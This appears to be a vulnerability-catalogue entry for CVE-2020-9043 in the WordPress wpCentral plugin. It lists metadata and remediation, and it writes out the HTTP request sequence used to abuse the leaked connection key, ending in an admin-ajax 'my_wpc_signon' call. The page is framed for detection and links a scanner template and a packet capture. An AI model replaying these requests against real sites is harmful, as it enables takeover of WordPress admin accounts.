🔙 목록으로 돌아가기

CVE-2020-9043: WordPress wpCentral <1.5.1 - Information Disclosure

TitleWordPress wpCentral <1.5.1 - Information Disclosure
Authorscent2d
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain sensitive information from the wpCentral plugin.
RemediationUpdate the wpCentral plugin to version 1.5.1 or later to fix the information disclosure vulnerability.
CVSS Score8.8
EPSS Score0.29554
CVE IDCVE-2020-9043
CWE IDCWE-200
Tags cve cve2020 wordpress wp-plugin wpcentral authenticated wp wpscan vkev vuln

🔍 Vulnerability Description

WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.8
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=1FxnSy&pwd=4TbA2G&wp-submit=Log+In&testcookie=1
GET /wp-admin/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Connection: close
Accept-Encoding: gzip
GET /wp-login.php?action=logout&_wpnonce=qhaiqp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key=MS7OTB HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9043.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-9043.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A